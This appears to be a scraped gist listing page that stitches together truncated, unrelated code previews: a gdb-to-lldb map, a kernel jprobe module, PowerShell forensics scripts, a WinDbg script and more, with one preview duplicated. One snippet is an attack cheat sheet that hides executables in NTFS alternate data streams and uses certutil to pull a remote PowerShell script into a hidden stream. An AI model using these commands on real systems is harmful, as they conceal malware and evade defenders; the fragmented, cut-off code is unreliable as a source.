A complete gdb to lldb command map.
- Print object
(lldb) po responseObject
(lldb) po [responseObject objectForKey@"state"]
- p - Print primitive type
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <unistd.h> | |
| int main(int argc, char *argv[]) | |
| { | |
| char *newargv[] = { NULL, "-l", NULL }; | |
| char *newenviron[] = { NULL }; | |
| newargv[0] = argv[1]; |
| /* | |
| * Here's a sample kernel module showing the use of jprobes to dump | |
| * the arguments of third-party network driver for Bercut ETN. | |
| * | |
| * For more information on theory of operation of jprobes, see | |
| * Documentation/kprobes.txt | |
| * | |
| * Build and insert the kernel module as done in the kprobe example. | |
| * You will see the trace data in /var/log/messages and on the | |
| * console whenever do_fork() is invoked to create a new process. |
| #Add content to ADS | |
| type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe" | |
| extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe | |
| findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe | |
| certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt | |
| makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab | |
| print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe | |
| reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg | |
| regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey | |
| expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat |
A complete gdb to lldb command map.
(lldb) po responseObject
(lldb) po [responseObject objectForKey@"state"]
| # Author: Matthew Graeber (@mattifestation) | |
| $Epoch = Get-Date '01/01/1970' | |
| # Conversion trick taken from https://blogs.technet.microsoft.com/heyscriptingguy/2017/02/01/powertip-convert-from-utc-to-my-local-time-zone/ | |
| $StrCurrentTimeZone = (Get-WmiObject Win32_timezone).StandardName | |
| $TZ = [TimeZoneInfo]::FindSystemTimeZoneById($StrCurrentTimeZone) | |
| # Parse out all the LogonGUID fields for sysmon ProcessCreate events | |
| Get-WinEvent -FilterHashtable @{ LogName = 'Microsoft-Windows-Sysmon/Operational'; Id = 1 } | ForEach-Object { |
| #include "stdafx.h" | |
| BOOL SetPrivilege(HANDLE hToken, LPCTSTR Privilege, BOOL bEnablePrivilege) { | |
| TOKEN_PRIVILEGES tp; | |
| LUID luid; | |
| TOKEN_PRIVILEGES tpPrevious; | |
| DWORD cbPrevious = sizeof(TOKEN_PRIVILEGES); | |
| if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE; |
| function Get-UEFIDatabaseSigner { | |
| <# | |
| .SYNOPSIS | |
| Dumps signature or hash information for whitelisted ('db' variable) or blacklisted ('dbx' variable) UEFI bootloaders. | |
| .DESCRIPTION | |
| Author: Matthew Graeber (@mattifestation) | |
| License: BSD 3-Clause |
| /* | |
| How to use : | |
| .load jsprovider.dll | |
| .scriptload memdump.js | |
| bp MSVCR120D!free ".scriptrun memdump.js" | |
| bp MSVCR120D!malloc ".scriptrun memdump.js" | |
| */ | |
| "use strict"; |
| /* | |
| How to use : | |
| .load jsprovider.dll | |
| .scriptload memdump.js | |
| bp MSVCR120D!free ".scriptrun memdump.js" | |
| bp MSVCR120D!malloc ".scriptrun memdump.js" | |
| */ | |
| "use strict"; |